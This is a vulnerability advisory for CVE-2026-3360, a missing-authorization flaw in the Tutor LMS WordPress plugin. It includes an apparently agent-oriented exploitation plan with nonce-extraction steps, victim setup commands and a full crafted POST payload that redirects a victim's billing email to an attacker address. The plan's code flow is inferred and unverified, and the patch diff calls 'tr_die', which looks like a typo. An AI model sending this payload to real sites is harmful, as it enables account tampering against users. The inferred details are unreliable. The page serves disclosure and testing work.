CVE-2026-3360

Tutor LMS <= 3.9.7 - Missing Authorization to Unauthenticated Arbitrary Billing Profile Overwrite via 'order_id' Parameter

highMissing Authorization
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.9.8
Patched in
1d
Time to patch

Description

The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to an Insecure Direct Object Reference in all versions up to, and including, 3.9.7. This is due to missing authentication and authorization checks in the `pay_incomplete_order()` function. The function accepts an attacker-controlled `order_id` parameter and uses it to look up order data, then writes billing fields to the order owner's profile (`$order_data->user_id`) without verifying the requester's identity or ownership. Because the Tutor nonce (`_tutor_nonce`) is exposed on public frontend pages, this makes it possible for unauthenticated attackers to overwrite the billing profile (name, email, phone, address) of any user who has an incomplete manual order, by sending a crafted POST request with a guessed or enumerated `order_id`.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
None
Availability

Technical Details

Affected versions<=3.9.7
PublishedApril 9, 2026
Last updatedApril 10, 2026
Affected plugintutor

What Changed in the Fix

Changes introduced in v3.9.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3360 - Tutor LMS Billing Profile Overwrite ## 1. Vulnerability Summary The **Tutor LMS** plugin (versions <= 3.9.7) contains an Insecure Direct Object Reference (IDOR) vulnerability in the `pay_incomplete_order()` function. This function is intended to allow u…

Show full research plan

Exploitation Research Plan: CVE-2026-3360 - Tutor LMS Billing Profile Overwrite

1. Vulnerability Summary

The Tutor LMS plugin (versions <= 3.9.7) contains an Insecure Direct Object Reference (IDOR) vulnerability in the pay_incomplete_order() function. This function is intended to allow users to complete pending manual orders. However, it lacks authentication and authorization checks, allowing any requester (including unauthenticated attackers) to provide an arbitrary order_id.

The function retrieves the order data associated with the order_id, identifies the owner of that order (user_id), and then updates that specific user's billing profile metadata using values provided in the request. By enumerating order_id values, an attacker can overwrite the billing information (name, email, phone, address) of any user who has a pending manual order.

2. Attack Vector Analysis

  • Endpoint: admin-ajax.php (typically used by Tutor for frontend actions).
  • Action: tutor_pay_incomplete_order (inferred from function name pay_incomplete_order).
  • Vulnerable Parameter: order_id.
  • Payload Parameters: Billing fields such as tutor_billing_first_name, tutor_billing_last_name, tutor_billing_email, tutor_billing_phone, etc.
  • Nonce: Requires _tutor_nonce.
  • Authentication: None (available to unauthenticated users via wp_ajax_nopriv_).
  • Precondition: A victim user must have an "incomplete" manual order in the system.

3. Code Flow (Inferred)

  1. Entry Point: The request hits admin-ajax.php with action=tutor_pay_incomplete_order.
  2. Hook: add_action('wp_ajax_nopriv_tutor_pay_incomplete_order', 'pay_incomplete_order').
  3. Lookup: The function calls something like tutor_utils()->get_order($order_id) to fetch order details.
  4. Identification: It extracts $user_id = $order_data->user_id.
  5. Sink: It iterates through $_POST billing fields and calls update_user_meta($user_id, ...) without verifying if the current requester is either the order owner or an administrator.

4. Nonce Acquisition Strategy

Tutor LMS localizes its configuration and security nonces into a global JavaScript object available on the frontend.

  1. Identify Trigger: The _tutor_nonce is generally included on any page where Tutor LMS scripts are enqueued (e.g., the Course Archive page or a single course page).
  2. Navigate: Use browser_navigate to the homepage or a course page.
  3. Extract Nonce: Use browser_eval to extract the nonce from the tutor_get_conf object.
    • JS Variable: window.tutor_get_conf?._tutor_nonce
  4. Confirmation: If the above fails, check for localized data in tutor_localize_data.

5. Test Data Setup

To demonstrate the exploit, we must first create a victim user and an incomplete order.

  1. Create Victim User:
    wp user create victim victim@example.com --role=subscriber --user_pass=password123
    
  2. Create Incomplete Order:
    Manual orders in Tutor LMS are stored in the {$wpdb->prefix}tutor_orders table (or similar).
    # Create an order via SQL to ensure it is 'pending'/'incomplete'
    # Order status 'pending' is typical for manual payments
    wp db query "INSERT INTO wp_tutor_orders (user_id, order_status, total_amount, created_at) VALUES ((SELECT ID FROM wp_users WHERE user_login='victim'), 'pending', 100.00, NOW());"
    # Note the generated order_id
    
  3. Verify Initial State:
    wp user meta get victim _tutor_billing_email
    

6. Exploitation Strategy

We will use the http_request tool to send a crafted POST request to admin-ajax.php.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=tutor_pay_incomplete_order
    &_tutor_nonce=[EXTRACTED_NONCE]
    &order_id=[VICTIM_ORDER_ID]
    &tutor_billing_first_name=Hacked
    &tutor_billing_last_name=Account
    &tutor_billing_email=attacker@evil.com
    &tutor_billing_phone=555-000-666
    &tutor_billing_address_1=123 Malicious Way
    

7. Expected Results

  • HTTP Response: Should return a successful JSON response (e.g., {"success":true}) or a redirect to a "thank you" page.
  • Side Effect: The victim user's metadata in the wp_usermeta table will be updated with the attacker-supplied values.

8. Verification Steps

After the exploit, use WP-CLI to verify the metadata overwrite:

# Check if the victim's billing email was changed
wp user meta get victim _tutor_billing_email

# Check first and last name metadata
wp user meta get victim _tutor_billing_first_name
wp user meta get victim _tutor_billing_last_name

9. Alternative Approaches

If the admin-ajax.php action is not tutor_pay_incomplete_order:

  1. Search Source for Hook: Use grep -r "pay_incomplete_order" . to find the exact add_action call.
  2. Direct Post: If it's not an AJAX action, the function might be hooked to template_redirect or init, checking for a specific POST parameter like tutor_action=pay_incomplete_order. In this case, send the POST request to the homepage with the required parameters.
  3. Field Naming: If tutor_billing_ keys don't work, check the source for how the function extracts fields from $_POST. It might use a flat structure or a nested array like billing_info[email].
Research Findings
Static analysis — not yet PoC-verified

Summary

Tutor LMS <= 3.9.7 is vulnerable to an Insecure Direct Object Reference (IDOR) due to missing authentication and authorization checks in the pay_incomplete_order() function. An unauthenticated attacker can use a publicly available nonce and an enumerated order_id to overwrite the billing profile metadata (name, email, phone, address) of any user associated with an incomplete manual order.

Security Fix

--- a/classes/Order.php
+++ b/classes/Order.php
@@ -100,6 +100,10 @@
 	public function pay_incomplete_order() {
 		tutor_utils()->checking_nonce();
 		$order_id = (int) tutor_utils()->input_post( 'order_id' );
 		$order_data = tutor_utils()->get_order( $order_id );
+
+		if ( ! is_user_logged_in() || (int) $order_data->user_id !== get_current_user_id() ) {
+			tr_die( __( 'Permission denied', 'tutor' ) );
+		}
+
 		if ( $order_data ) {

Exploit Outline

1. Extract the '_tutor_nonce' from the frontend of the site (e.g., from the 'tutor_get_conf' global JavaScript object found on course pages). 2. Identify or enumerate a target 'order_id' belonging to a user with an incomplete manual payment order. 3. Send an unauthenticated POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'tutor_pay_incomplete_order'. 4. Include the 'order_id', the extracted nonce, and various billing parameters (e.g., 'tutor_billing_email', 'tutor_billing_first_name') in the request body. 5. The function will retrieve the user ID associated with the order and update that user's profile metadata using the attacker-supplied values without verifying ownership or identity.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.